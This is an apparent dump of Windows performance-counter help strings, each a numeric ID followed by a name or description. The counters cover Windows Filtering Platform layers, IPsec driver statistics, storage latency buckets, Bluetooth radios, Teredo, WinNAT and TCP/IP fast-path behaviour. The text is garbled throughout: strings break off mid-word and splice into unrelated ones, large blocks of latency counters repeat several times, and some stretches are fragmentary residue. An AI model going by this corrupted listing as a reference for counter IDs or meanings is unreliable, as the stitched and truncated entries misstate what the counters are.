FWPM_LAYER_INBOUND_RESERVED2 12427 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V4 12429 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V6 12431 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V4 12433 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V6 12435 FWPM_LAYER_IPSEC_KM_DEMUX_V4 12437 FWPM_LAYER_IPSEC_KM_DEMUX_V6 12439 FWPM_LAYER_IPSEC_V4 12441 FWPM_LAYER_IPSEC_V6 12443 FWPM_LAYER_IKEEXT_V4 12445 FWPM_LAYER_IKEEXT_V6 12447 FWPM_LAYER_RPC_UM 12449 FWPM_LAYER_RPC_EPMAP 12451 FWPM_LAYER_RPC_EP_ADD 12453 FWPM_LAYER_RPC_PROXY_CONN 12455 FWPM_LAYER_RPC_PROXY_IF 12457 FWPM_LAYER_KM_AUTHORIZATION 12459 Sum total size of filters in all layers 4723 The set of Counters for Authorization Manager application object 4725 Shows the total number of scopes in the application 4727 Shows the number of scopes that are currently loaded in memory 6343 These counters track the number of security resources and handles used per process. 6345 This counter tracks the number of credential handles in use by a given process. Credential handles are handles to pre-existing credentials, such as a password, that are associated with a user and are establiORWARD_V6 12283 FWPM_LAYER_IPFORWARD_V6_DISCARD 12285 FWPM_LAYER_INBOUND_TRANSPORT_V4 12287 FWPM_LAYER_INBOUND_TRANSPORT_V4_DISCARD 12289 FWPM_LAYER_INBOUND_TRANSPORT_V6 12291 FWPM_LAYER_INBOUND_TRANSPORT_V6_DISCARD 12293 FWPM_LAYER_OUTBOUND_TRANSPORT_V4 12295 FWPM_LAYER_OUTBOUND_TRANSPORT_V4_DISCARD 12297 FWPM_LAYER_OUTBOUND_TRANSPORT_V6 12299 FWPM_LAYER_OUTBOU _V6_ PM_L WPM_LAYER_AL Number of writes per second that took <= 1s to complete. 4907 Average microseconds per write that took <= 1s to complete. 4909 Number of writes that took <= 1s to complete. 4911 Number of writes per second that took <= 2s to complete. 4913 Average microseconds per write that took <= 2s to complete. 4915 Number of writes that took <= 2s to complete. 4917 Number of writes per second that took <= 10s to complete. 4919 Average microseconds per write that took <= 10s to complete. 4921 Number of writes that took <= 10s to complete. 4923 Number of writes per second that took > 10s to complete. 4925 Average microseconds per write that took > 10s to complete. 4927 Number of writes that took > 10s to complete. 4929 Number of writes per second. 4931 Average microseconds per write. 4933 Number of write bytes per second. 4935 Average number of bytes per write. 4937 Number of writes. 4939 Number of successful writes per second that are <= 4K in length. 4941 Number of successful writes per second that are <= 8K in length. 4943 Number of successful writes per second that are <= 16K in length. 4945 Number of successful writes per second that are <= 32K in length. 4947 Number of successful writes per second that are <= 64K in length. 4949 Number of successful writes per second that are <= 128K in length. 4951 Number of successful writes per second that are <= 256K in length. 4953 Number of successful writes per second that are <= 1M in length. 4955 Number of successful writes per second that are > 1M in length. 2959 ServiceModel performance counters for service 2961 The number of calls to this service. http://go.microsoft.com/fwlink/?LinkId=222530 2963 The number of calls to this service per second. http://go.microsoft.com/fwlink/?LinkId=222531 2965 The number of calls to this service that are in progress. http://go.microsoft.com/fwlink/?LinkId=222532 2967 The number of calls with unhandled exceptions in this service. http://go.microsoft.com/fwlink/?LinkId=222533 2969 The number of calls with unhandled exceptions in this servicearded via LSO 12573 Total number of RSC segments forwarded via software segmentation 12575 Total number of RSC segments forwarded via software segmentation and checksum 12577 Total number of RSC segment forwarding failures during software segmentation 12579 Total number of UDP datagrams created via software segmentation 12581 Rate of coalesced UDP datagrams received via UDP URO 12583 Rate of bytes received via UDP URO 12585 Rate of coalesced TCP datagrams received via TCP RSC 12587 Rate of bytes received via TCP RSC 12589 Total number of URO segments forwarded via software segmentation 12591 Total number of URO segments forwarded via software segmentation and checksum 12593 Total number of URO segment forwarding failures during software segmentation 12595 Total number of TCP loss recovery episodes 12597 Total number of successful TCP loss recovery episodes 12599 Total number of bytes of lost retransmits retransmitted 12601 Total number of URO NBLs segmented for raw sockets 12603 Total number of URO NBL segmentation failures for raw sockets 12605 Total number of SACK blocks dropped due to DoS protection 12607 The number of TCP RX fast path batches inspected 12609 The number of TCP RX fast path batches not inspected 12611 The number of USO packets segmented in software 12613 The number of USO packets segmented and checksummed in software 6967 WinNat UDP counter set measures network activity for network address translated UDP packets. 6969 Total number of UDP sessions. 6971 Total number of UDP bindings. 6973 Total number of UDP packets translated from internal to external. 6975 Total number of UDP packets translated from external to internal. 6977 Total number of UDP packets dropped due to absence of binding. 6979 Total number of UDP sessions timed out due to inactivity. 7025 WinNAT instance counterset provides resource usage information per NAT instance. 7027 Number of TCP ports in use 7029 Number of TCP ports available 7031 Number of UDP ports in use 7033 Number of UDP ports available 6953 WinNat TCP counter set mng Layer to IPv4 Network Layer without prevalidation 12535 Rate of inbound NetBufferLists indicated from IPv4 Framing Layer to IPv4 Network Layer without prevalidation 12537 Total number of inbound NetBufferLists indicated from IPv6 Framing Layer to IPv6 Network Layer without prevalidation 12539 Rate of inbound NetBufferLists indicated from IPv6 Framing Layer to IPv6 Network Layer without prevalidation 12541 Total number of inbound NetBufferLists indicated to IPv4 Network Layer as prevalidated but treated as non-prevalidated consequently 12543 Rate of inbound NetBufferLists indicated to IPv4 Network Layer as prevalidated but treated as non-prevalidated consequently 12545 Total number of inbound NetBufferLists indicated to IPv6 Network Layer as prevalidated but treated as non-prevalidated consequently 12547 Rate of inbound NetBufferLists indicated to IPv6 Network Layer as prevalidated but treated as non-prevalidated consequently 12549 Total number of outbound NetBufferLists that could not be processed via IPv4 Framing Layer fast path 12551 Rate of outbound NetBufferLists that could not be processed via IPv4 Framing Layer fast path 12553 Total number of outbound NetBufferLists that could not be processed via IPv6 Framing Layer fast path 12555 Rate of outbound NetBufferLists that could not be processed via IPv6 Framing Layer fast path 12557 Total number of inbound TCP segments that could not be processed via fast path 12559 Rate of inbound TCP segments that could not be processed via fast path 12561 Total number of TCP connect requests which were established over normal loopback path despite loopback fast path was requested 12563 Rate of TCP connect requests which were established over normal loopback path despite loopback fast path was requested 12565 Total number of TCP connect or TCP/UDP/RAW send requests denied by the TCPIP stack because the outbound network interface was in low-power mode 12567 TCP segments dropped due to invalid checksum 12569 TCP retransmission timeouts 12571 Total number of RSC segments forwge microseconds per transfer that took <= 512us to complete. 4975 Number of transfers that took <= 512us to complete. 4977 Number of transfers per second that took <= 1ms to complete. 4979 Average microseconds per transfer that took <= 1ms to complete. 4981 Number of transfers that took <= 1ms to complete. 4983 Number of transfers per second that took <= 4ms to complete. 4985 Average microseconds per transfer that took <= 4ms to complete. 4987 Number of transfers that took <= 4ms to complete. 4989 Number of transfers per second that took <= 16ms to complete. 4991 Average microseconds per transfer that took <= 16ms to complete. 4993 Number of transfers that took <= 16ms to complete. 4995 Number of transfers per second that took <= 64ms to complete. 4997 Average microseconds per transfer that took <= 64ms to complete. 4999 Number of transfers that took <= 64ms to complete. 5001 Number of transfers per second that took <= 128ms to complete. 5003 Average microseconds per transfer that took <= 128ms to complete. 5005 Number of transfers that took <= 128ms to complete. 5007 Number of transfers per second that took <= 256ms to complete. 5009 Average microseconds per transfer that took <= 256ms to complete. 5011 Number of transfers that took <= 256ms to complete. 5013 Number of transfers per second that took <= 512ms to complete. 5015 Average microseconds per transfer that took <= 512ms to complete. 5017 Number of transfers that took <= 512ms to complete. 5019 Number of transfers per second that took <= 1s to complete. 5021 Average microseconds per transfer that took <= 1s to complete. 5023 Number of transfers that took <= 1s to complete. 5025 Number of transfers per second that took <= 2s to complete. 5027 Average microseconds per transfer that took <= 2s to complete. 5029 Number of transfers that took <= 2s to complete. 5031 Number of transfers per second that took <= 10s to complete. 5033 Average microseconds per transfer that took <= 10s to complete. 5035 Number of transfers that took <= 10s to complete. 5037 Number ansfer that took <= 1ms to complete. 4981 Number of transfers that took <= 1ms to complete. 4983 Number of transfers per second that took <= 4ms to complete. 4985 Average microseconds per transfer that took <= 4ms to complete. 4987 Number of transfers that took <= 4ms to complete. 4989 Number of transfers per second that took <= 16ms to complete. 4991 Average microseconds per transfer that took <= 16ms to complete. 4993 Number of transfers that took <= 16ms to complete. 4995 Number of transfers per second that took <= 64ms to complete. 4997 Average microseconds per transfer that took <= 64ms to complete. 4999 Number of transfers that took <= 64ms to complete. 5001 Number of transfers per second that took <= 128ms to complete. 5003 Average microseconds per transfer that took <= 128ms to complete. 5005 Number of transfers that took <= 128ms to complete. 5007 Number of transfers per second that took <= 256ms to complete. 5009 Average microseconds per transfer that took <= 256ms to complete. 5011 Number of transfers that took <= 256ms to complete. 5013 Number of transfers per second that took <= 512ms to complete. 5015 Average microseconds per transfer that took <= 512ms to complete. 5017 Number of transfers that took <= 512ms to complete. 5019 Number of transfers per second that took <= 1s to complete. 5021 Average microseconds per transfer that took <= 1s to complete. 5023 Number of transfers that took <= 1s to complete. 5025 Number of transfers per second that took <= 2s to complete. 5027 Average microseconds per transfer that took <= 2s to complete. 5029 Number of transfers that took <= 2s to complete. 5031 Number of transfers per second that took <= 10s to complete. 5033 Average microseconds per transfer that took <= 10s to complete. 5035 Number of transfers that took <= 10s to complete. 5037 Number of transfers per second that took > 10s to complete. 5039 Average microseconds per transfer that took > 10s to complete. 5041 Number of transfers that took > 10s to complete. 5043 Number of transfers per second. 5045. 4471 Bytes transfered by all operations that took < 512 s to complete. 4473 Bytes transfered by all operations that took < 1 ms to complete. 4475 Bytes transfered by all operations that took < 4 ms to complete. 4477 Bytes transfered by all operations that took < 16 ms to complete. 4479 Bytes transfered by all operations s t k >= r re g MP ge microseconds per transfer that took <= 512us to complete. 4975 Number of transfers that took <= 512us to complete. 4977 Number of transfers per second that took <= 1ms to complete. 4979 Average microseconds per transfer that took <= 1ms to complete. 4981 Number of transfers that took <= 1ms to complete. 4983 Number of transfers per second that took <= 4ms to complete. 4985 Average microseconds per transfer that took <= 4ms to complete. 4987 Number of transfers that took <= 4ms to complete. 4989 Number of transfers per second that took <= 16ms to complete. 4991 Average microseconds per transfer that took <= 16ms to complete. 4993 Number of transfers that took <= 16ms to complete. 4995 Number of transfers per second that took <= 64ms to complete. 4997 Average microseconds per transfer that took <= 64ms to complete. 4999 Number of transfers that took <= 64ms to complete. 5001 Number of transfers per second that took <= 128ms to complete. 5003 Average microseconds per transfer that took <= 128ms to complete. 5005 Number of transfers that took <= 128ms to complete. 5007 Number of transfers per second that took <= 256ms to complete. 5009 Average microseconds per transfer that took <= 256ms to complete. 5011 Number of transfers that took <= 256ms to complete. 5013 Number of transfers per second that took <= 512ms to complete. 5015 Average microseconds per transfer that took <= 512ms to complete. 5017 Number of transfers that took <= 512ms to complete. 5019 Number of transfers per second that took <= 1s to complete. 5021 Average microseconds per transfer that took <= 1s to complete. 5023 Number of transfers that took <= 1s to complete. 5025 Number of transfers per second that took <= 2s to complete. 5027 Average microseconds per transfer that took <= 2s to complete. 5029 Number of transfers that took <= 2s to complete. 5031 Number of transfers per second that took <= 10s to complete. 5033 Average microseconds per transfer that took <= 10s to complete. 5035 Number of transfers that took <= 10s to complete. 5037 Number otal time in nanoseconds for all operations that took >= 30s to complete. 4467 Bytes transfered by all operations that took < 128 s to complete. 4469 Bytes transfered by all operations that took < 256 s to complete. 4471 Bytes transfered by all operations that took < 512 s to complete. 4473 Bytes transfered by all operations that took < 1 ms to complete. 4475 Bytes transfered by all operations that took < 4 ms to complete. 4477 Bytes transfered by all operations that took < 16 ms to complete. 4479 Bytes transfered by all operations that took < 64 ms to complete. 4481 Bytes transfered by all operations that took < 128 ms to complete. 4483 Bytes transfered by all operations that took < 256 ms to complete. 4485 Bytes transfered by all operations that took < 512 ms to complete. 4487 Bytes transfered by all operations that took < 1 s to complete. 4489 Bytes transfered by all operations that took < 2 s to complete. 4491 Bytes transfered by all operations that took < 10 s to complete. 4493 Bytes transfered by all operations that took < 20 s to complete. 4495 Bytes transfered by all operations that took < 30 s to complete. 4497 Bytes transfered by all operations that took >= 30s to complete. 12759 The MPTF counter set consists of performance counters for reading MPTF sensor information. 12761 Reads the temperature from a sensor. 5071 This counter set consists of Queue statistics for a Storport Logical Unit. 5073 Number of outstanding requests. 5075 Number of queued requests. 4957 This counter set consists of Transfer statistics for a Storport Logical Unit. 4959 Number of transfers per second that took <= 128us to complete. 4961 Average microseconds per transfer that took <= 128us to complete. 4963 Number of transfers that took <= 128us to complete. 4965 Number of transfers per second that took <= 256us to complete. 4967 Average microseconds per transfer that took <= 256us to complete. 4969 Number of transfers that took <= 256us to complete. 4971 Number of transfers per second that took <= 512us to complete. 4973 Averations that took < 256 s to complete. 4407 Number of operations that took < 512 s to complete. 4409 Number of operations that took < 1 ms to complete. 4411 Number of operations that took < 4 ms to complete. 4413 Number of operations that took < 16 ms to complete. 4415 Number of operations that took < 64 ms to complete. 4417 Number of operations that took < 128 ms to complete. 4419 Number of operations that took < 256 ms to complete. 4421 Number of operations that took < 512 ms to complete. 4423 Number of operations that took < 1 s to complete. 4425 Number of operations that took < 2 s to complete. 4427 Number of operations that took < 10 s to complete. 4429 Number of operations that took < 20 s to complete. 4431 Number of operations that took < 30 s to complete. 4433 Number of operations that took >= 30s to complete. 4435 Total time in nanoseconds for all operations that took < 128 s to complete. 4437 Total time in nanoseconds for all operations that took < 256 s to complete. 4439 Total time in nanoseconds for all operations that took < 512 s to complete. 4441 Total time in nanoseconds for all operations that took < 1 ms to complete. 4443 Total time in nanoseconds for all operations that took < 4 ms to complete. 4445 Total time in nanoseconds for all operations that took < 16 ms to complete. 4447 Total time in nanoseconds for all operations that took < 64 ms to complete. 4449 Total time in nanoseconds for all operations that took < 128 ms to complete. 4451 Total time in nanoseconds for all operations that took < 256 ms to complete. 4453 Total time in nanoseconds for all operations that took < 512 ms to complete. 4455 Total time in nanoseconds for all operations that took < 1 s to complete. 4457 Total time in nanoseconds for all operations that took < 2 s to complete. 4459 Total time in nanoseconds for all operations that took < 10 s to complete. 4461 Total time in nanoseconds for all operations that took < 20 s to complete. 4463 Total time in nanoseconds for all operations that took < 30 s to complete. 4465 Tal - Uncoded 1M Phy 12797 Page Scan Duty Cycle (%) 12799 Raw Page Scan Window 12801 Raw Page Scan Interval 12803 Inquiry Scan Duty Cycle (%) 12805 Raw Inquiry Scan Window 12807 Raw Inquiry Scan Interval 12809 LE Advertisement Scan Duty Cycle (%) - Coded Phy 12811 Raw LE Advertisement Scan Window - Coded Phy 12813 Raw LE Advertisement Scan Interval - Coded Phy 12815 Number of Offload A2dp connections 12817 Number of established LE CIS 12819 Number of established LE Periodic Advertising Sync 12821 Number of LE Periodic Advertising Report events received per second 12823 Number of LE Periodic Advertising Report bytes received per second 12825 Number of LE BIG Info Report events received per second 12827 Number of established BIG Sync 12829 Number of LE BIG Created 12831 Number of monitors created via HCI_VS_MSFT_LE_Monitor_Advertisement 12833 Number of actively monitored devices reported via HCI_VS_MSFT_LE_Monitor_Device_Event 12835 Number of Advertising Handles used via CMD_LE_Set_Extended_Advertising_Parameters 12837 Number of Advertising Sets Enabled via CMD_LE_Set_Extended_Advertising_Enable 12839 Counters related to a remote Bluetooth device 12841 Number of Classic ACL bytes written per second 12843 Number of Low Energy ACL bytes written per second 12845 Number of SCO bytes written per second 12847 Number of Classic ACL bytes read per second 12849 Number of Low Energy ACL bytes read per second 12851 Number of SCO bytes read per second 12853 LE Peripheral Latency 12855 LE Connection Supervision Timeout 12857 LE Subrate Factor 12859 LE Continuation Number 12861 LE Connection Interval 12863 Number of established LE CIS 4395 The VHD bucketized performance object consists of counters that show operations performance split by latency buckets. 4397 Total number of operations completed since last collection. 4399 Total time in nanoseconds it took to complete operations since last collection. 4401 Total bytes transfered since last collection. 4403 Number of operations that took < 128 s to complete. 4405 Number of opera Total error packets( header error) received by the Teredo server. 2371 Total error packets( source error) received by the Teredo server. 2373 Total error packets( destination error) received by the Teredo server. 2375 Total error packets( authentication error) received by the Teredo server. 2377 Total Router Advertisements sent by the primary server. 2379 Total Router Advertisements sent by the secondary server. 2381 Rate of total packets received by the Teredo server. 2329 Statistics of Teredo client. 2331 Total Router Advertisement packets received by the Teredo client. 2333 Total bubble packets received by the Teredo client. 2335 Total data packets received by the Teredo client. 2337 Total error packets received by the Teredo client. 2339 Total Router Solicitation packets sent by the Teredo client. 2341 Total bubble packets sent by the Teredo client. 2343 Total data packets sent by the Teredo client. 2345 Total data packets received by the Teredo client in user mode. 2347 Total data packets received by the Teredo client in kernel mode. 2349 Total data packets sent by the Teredo client in user mode. 2351 Total data packets sent by the Teredo client in kernel mode. 5937 This counter set represents the statistics for Dynamic Memory Integration Services 12763 Counters related to a local Bluetooth radio 12765 Number of Classic ACL bytes written per second 12767 Number of Low Energy ACL bytes written per second 12769 Number of SCO bytes written per second 12771 Number of Classic ACL bytes read per second 12773 Number of Low Energy ACL bytes read per second 12775 Number of SCO bytes read per second 12777 Number of Classic ACL connections 12779 Number of LE ACL connections 12781 Number of SCO connections 12783 Number of Sideband SCO connections 12785 Number of ACL flush events per second 12787 Number of LE ACL write credits 12789 Number of Classic ACL write credits 12791 LE Advertisement Scan Duty Cycle (%) - Uncoded 1M Phy 12793 Raw LE Advertisement Scan Window - Uncoded 1M Phy 12795 Raw LE Advertisement Scan Intervt by the Teredo relay. 2421 Total data packets received elay in kernel mode. 2429 Per ++S+ istics on this I TR queri ckets That Failed ESP Validation is the number of packets received that failed ESP validation since the computer was last started. 11473 Packets That Failed ESP Validation per Second is the rate of packets received that failed ESP validation since the computer was last started. 11475 Packets That Failed UDP-ESP Validation is the number of packets received that failed UDP-ESP validation (used for NAT traversal) since the computer was last started. 11477 Packets That Failed UDP-ESP Validation per Second is the rate of packets received that failed UDP-ESP validation (used for NAT traversal) since the computer was last started. 11479 Packets Received Over Wrong SA is the number of packets received over the wrong security association since the computer was last started. 11481 Packets Received Over Wrong SA per Second is the rate of packets received over the wrong security association since the computer was last started. 11483 Plaintext Packets Received is the number of clear text packets received since the computer was last started. 11485 Plaintext Packets Received per Second is the rate of clear text packets received since the computer was last started. 11487 Total Inbound Packets Received is the total number of inbound packets successfully processed by IPsec, since the computer was last started. 11489 Inbound Packets Received per Second is the rate of inbound packets successfully processed by IPsec. 11491 Total Inbound Packets Dropped is the total number of inbound packets dropped by IPsec, since the computer was last started. 11493 Inbound Packets Dropped per Second is the rate of inbound packets dropped by IPsec. 11427 WFP is the set of Windows Filtering Platform counters that do not apply to any specific Internet Protocol version. 11429 Provider Count is the number of providers registered with the Windows Filtering Platform. 12011 WFP Reauthorization is the set of Windows Filtering Platform (WFP) counters that pertain to connection reauthorizations. 12013 Total number of inbound reauthorizations performed. 12015 k adapters can accelerate IPsec processing by performing hardware offload of IPsec cryptographic functions. 11453 Offloaded Bytes Sent per Second is the rate of bytes sent using IPsec hardware offload. Certain network adapters can accelerate IPsec processing by performing hardware offload of IPsec cryptographic functions. 11455 Packets That Failed Replay Detection is the number of packets that contained an invalid sequence number since the computer was last started. Increases in this counter might indicate a network problem or replay attack. 11457 Packets That Failed Replay Detection per Second is the rate of packets that contained an invalid sequence number since the computer was last started. Increases in this counter might indicate a network problem or replay attack. 11459 Packets Not Authenticated is the number of packets for which data could not be verified (for which the integrity hash verification failed) since the computer was last started. Increases in this counter might indicate an IPsec packet spoofing or modification attack, or packet corruption by network devices. 11461 Packets Not Authenticated per Second is the rate of packets for which data could not be verified (for which the integrity hash verification failed) since the computer was last started. Increases in this counter might indicate an IPsec packet spoofing or modification attack, or packet corruption by network devices. 11463 Packets Not Decrypted is the number of packets that could not be decrypted since the computer was last started. A packet might not be decrypted if it fails a validation check. 11465 Packets Not Decrypted per Second is the rate of packets that could not be decrypted since the computer was last started. A packet might not be decrypted if it fails a validation check. 11467 SA Rekeys is the number of successful rekey operations for quick mode security associations since the computer was last started. 11469 Security Associations Added is the number of security associations added since the computer was last started. 11471 PaUND_NETWORK_CONNECTION_POLICY_V6 11985 FWPM_LAYER_IPSEC_KM_DEMUX_V4 11987 FWPM_LAYER_IPSEC_KM_DEMUX_V6 11989 FWPM_LAYER_IPSEC_V4 11991 FWPM_LAYER_IPSEC_V6 11993 FWPM_LAYER_IKEEXT_V4 11995 FWPM_LAYER_IKEEXT_V6 11997 FWPM_LAYER_RPC_UM 11999 FWPM_LAYER_RPC_EPMAP 12001 FWPM_LAYER_RPC_EP_ADD 12003 FWPM_LAYER_RPC_PROXY_CONN 12005 FWPM_LAYER_RPC_PROXY_IF 12007 FWPM_LAYER_KM_AUTHORIZATION 12009 Sum total of all classify layers 11431 IPsec Driver is the set of Internet Protocol security (IPsec) driver counters that apply to traffic over Internet Protocol version 4 and Internet Protocol version 6. 11433 Active Security Associations is the number of active quick mode security associations. 11435 Pending Security Associations is the number of pending quick mode security associations. 11437 Incorrect SPI packets is the number of packets for which the Security Parameter Index (SPI) was incorrect since the computer was last started. A large number of packets with bad SPIs within a short amount of time might indicate a packet spoofing attack. 11439 Incorrect SPI packets per Second is the rate of packets for which the Security Parameter Index (SPI) was incorrect since the computer was last started. A large number of packets with bad SPIs within a short amount of time might indicate a packet spoofing attack. 11441 Bytes Received in Tunnel Mode per Second is the rate of bytes received using tunnel mode. 11443 Bytes Sent in Tunnel Mode per Second is the rate of bytes sent using tunnel mode. 11445 Bytes Received in Transport Mode per Second is the rate of bytes received using transport mode. 11447 Bytes Sent in Transport Mode per Second is the rate of bytes sent using transport mode. 11449 Offloaded Security Associations is the number of active quick mode security associations offloaded to hardware. Certain network adapters can accelerate IPsec processing by performing hardware offload of IPsec cryptographic functions. 11451 Offloaded Bytes Received per Second is the rate of bytes received using IPsec hardware offload. Certain networYER_ALE_RESOURCE_ASSIGNMENT_V6 11889 FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V6_DISCARD 11891 FWPM_LAYER_ALE_AUTH_LISTEN_V4 11893 FWPM_LAYER_ALE_AUTH_LISTEN_V4_DISCARD 11895 FWPM_LAYER_ALE_AUTH_LISTEN_V6 11897 FWPM_LAYER_ALE_AUTH_LISTEN_V6_DISCARD 11899 FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V4 11901 FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V4_DISCARD 11903 FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V6 11905 FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V6_DISCARD 11907 FWPM_LAYER_ALE_AUTH_CONNECT_V4 11909 FWPM_LAYER_ALE_AUTH_CONNECT_V4_DISCARD 11911 FWPM_LAYER_ALE_AUTH_CONNECT_V6 11913 FWPM_LAYER_ALE_AUTH_CONNECT_V6_DISCARD 11915 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4 11917 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4_DISCARD 11919 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V6 11921 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V6_DISCARD 11923 FWPM_LAYER_INBOUND_MAC_FRAME_ETHERNET 11925 FWPM_LAYER_OUTBOUND_MAC_FRAME_ETHERNET 11927 FWPM_LAYER_INBOUND_MAC_FRAME_NATIVE 11929 FWPM_LAYER_OUTBOUND_MAC_FRAME_NATIVE 11931 FWPM_LAYER_NAME_RESOLUTION_CACHE_V4 11933 FWPM_LAYER_NAME_RESOLUTION_CACHE_V6 11935 FWPM_LAYER_ALE_RESOURCE_RELEASE_V4 11937 FWPM_LAYER_ALE_RESOURCE_RELEASE_V6 11939 FWPM_LAYER_ALE_ENDPOINT_CLOSURE_V4 11941 FWPM_LAYER_ALE_ENDPOINT_CLOSURE_V6 11943 FWPM_LAYER_ALE_CONNECT_REDIRECT_V4 11945 FWPM_LAYER_ALE_CONNECT_REDIRECT_V6 11947 FWPM_LAYER_ALE_BIND_REDIRECT_V4 11949 FWPM_LAYER_ALE_BIND_REDIRECT_V6 11951 FWPM_LAYER_STREAM_PACKET_V4 11953 FWPM_LAYER_STREAM_PACKET_V6 11955 FWPM_LAYER_INGRESS_VSWITCH_ETHERNET 11957 FWPM_LAYER_EGRESS_VSWITCH_ETHERNET 11959 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V4 11961 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V6 11963 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V4 11965 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V6 11967 FWPM_LAYER_INBOUND_TRANSPORT_FAST 11969 FWPM_LAYER_OUTBOUND_TRANSPORT_FAST 11971 FWPM_LAYER_INBOUND_MAC_FRAME_NATIVE_FAST 11973 FWPM_LAYER_OUTBOUND_MAC_FRAME_NATIVE_FAST 11975 FWPM_LAYER_INBOUND_RESERVED2 11977 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V4 11979 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V6 11981 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V4 11983 FWPM_LAYER_OUTBOns is the number of quick mode negotiations completed since IPsec was last started. 11565 Successful Quick Mode Negotiations per Second is the rate of quick mode negotiations completed. 11567 Failed Quick Mode Negotiations is the number of failed quick mode negotiations since IPsec was last started. 11569 Failed Quick Mode Negotiations per Second is the rate of failed quick mode negotiations. 11809 WFP Classify is the set of Windows Filtering Platform (WFP) counters that pertain to classifation calls. 11811 FWPM_LAYER_INBOUND_IPPACKET_V4 1181 PM_LAYER_INBOUND WPM_LAYER_INBOUND_IP KET_V6L ISCARD 11819 FWPM_LAYER_OUTBOUND ACKET_V4 FWPM_LAYER_OUTBOUND_IPPACKET_V4_DISCARD 11823 FWPM_LAYER_OUTBOUND_IPPACKET_V6 11825 FWPM_LAYER_OUTBOUND_IPPACKET_V6_DISCARD 11827 LAYER_IP IPFORW TRAN SPOR FWPM_LAY M_V4 umber of regions examined per allocation 2131 Total time needed to process tree updates in 100 ns 2133 Total time needed to process checkpoints while holding exclusive locks checkpoints in 100 ns 2135 Total time needed to process checkpoints as tree updates in 100 ns 8283 The Storage Management WSP Spaces Runtime performance object consists of counters that show information about Storage Management WSP Spaces provider runtimes. 8285 The number of control dispatches elapsing between 0ms to 4ms. 8287 The number of control dispatches elapsing between 4ms to 16ms. 8289 The number of control dispatches elapsing between 16ms to 64ms. 8291 The number of control dispatches elapsing between 64ms to 256ms. 8293 The number of control dispatches elapsing between 256ms to 1s. 8295 The number of control dispatches elapsing between 1s to 4s. 8297 The number of control dispatches elapsing between 4s to 16s. 8299 The number of control dispatches elapsing between 16s to 1min. 8301 The number of control dispatches elapsing more than 1min. 1959 Per-Pipe statistics, for performance debugging. 11155 The SMB Direct performance counter set consists of counters that measure SMB Direct activity. 11157 The total number of times SMB Direct was unable to allocate an RDMA connector. 11159 The total number of times SMB Direct was unable to allocate an RDMA protection domain. 11161 The total number of times SMB Direct was unable to allocate an RDMA completion queue. 11163 The total number of times SMB Direct was unable to allocate an RDMA queue pair. 11165 The total number of times SMB Direct was unable to allocate an RDMA memory region. 11167 The total number of times SMB Direct was unable to allocate an RDMA fast register memory region. 11169 The rate at which SMB Direct is RDMA reading bytes from a remote host. 11171 The rate at which SMB Direct is RDMA writing bytes to a remote host. 11173 The number of bytes SMB Direct has registered as the source/sink for an RDMA read/write. 11175 The rate at which SMB Direct is receiving bytes. 11177 The29 The number of container destages from the fast tier to the slow tier per second. 2031 Current data fill percentage for the slow tier. 2033 Current data fill percentage for the fast tier. 2035 The read latency in 100 ns for slow tier to fast tier destages. 2039 The write latency in 100 ns for slow tier to fast tier destages. 2043 The read latency in 100 ns for fast tier to slow tier destages. 2047 The write latency in 100 ns for fast tier to slow tier destages. 2051 Average slow tier destaged container fill ratio (percentage). 2055 Average fast tier destaged container fill ratio (percentage). 2059 Total time needed to process tree updates while holding exclusive locks in 100 ns 2063 Total time needed to process checkpoints in 100 ns 2067 Number of tree updates per second 2069 Number of checkpoints per second 2071 Number of log writes per second 2073 Current metadata fill percentage for the slow tier. 2075 Current metadata fill percentage for the fast tier. 2077 The fill percentage for the ReFS log. 2079 Total time needed to process trim requests in 100 ns 2083 The number of data compactions per second. 2085 The read latency in 100 ns for data compaction. 2089 The write latency in 100 ns for data compaction. 2093 Average compacted container fill ratio (percentage). 2097 Compactions failed due to ineligible container. 2099 Compactions failed due to an embedded container reaching fragmentation limit of 4. 2101 Number of container moves that had to be retried. 2103 Container moves failed due to ineligible container. 2105 Total number of compaction failures. 2107 Total number of container move failures. 2109 Number of dirty metadata pages. 2111 Number of bindables in lazy writer queue. 2113 Number of entries in the Delete Queue. 2115 Number of entries in the allocator cache. 2117 Entries inserted into the allocator cache. 2119 Entries deleted from the allocator cache. 2121 Allocator cache insertion collision count 2123 Allocator cache purge count 2125 Average number of regions examined per allocation. 2129 Maximum nte. 2201 Total time in nanoseconds for all operations that took <= 10 s to complete. 2203 Total time in nanoseconds for all operations that took <= 20 s to complete. 2205 Total time in nanoseconds for all operations that took <= 30 s to complete. 2207 Total time in nanoseconds for all operations that took > 30s to complete. 2209 Bytes transfered by all operations that took <= 128 s to complete. 2211 Bytes transfered by all operations that took <= 256 s to complete. 2213 Bytes transfered by all operations that took <= 512 s to complete. 2215 Bytes transfered by all operations that took <= 1 ms to complete. 2217 Bytes transfered by all operations that took <= 4 ms to complete. 2219 Bytes transfered by all operations that took <= 16 ms to complete. 2221 Bytes transfered by all operations that took <= 64 ms to complete. 2223 Bytes transfered by all operations that took <= 128 ms to complete. 2225 Bytes transfered by all operations that took <= 256 ms to complete. 2227 Bytes transfered by all operations that took <= 512 ms to complete. 2229 Bytes transfered by all operations that took <= 1 s to complete. 2231 Bytes transfered by all operations that took <= 2 s to complete. 2233 Bytes transfered by all operations that took <= 10 s to complete. 2235 Bytes transfered by all operations that took <= 20 s to complete. 2237 Bytes transfered by all operations that took <= 30 s to complete. 2239 Bytes transfered by all operations that took > 30s to complete. 2013 Information on the 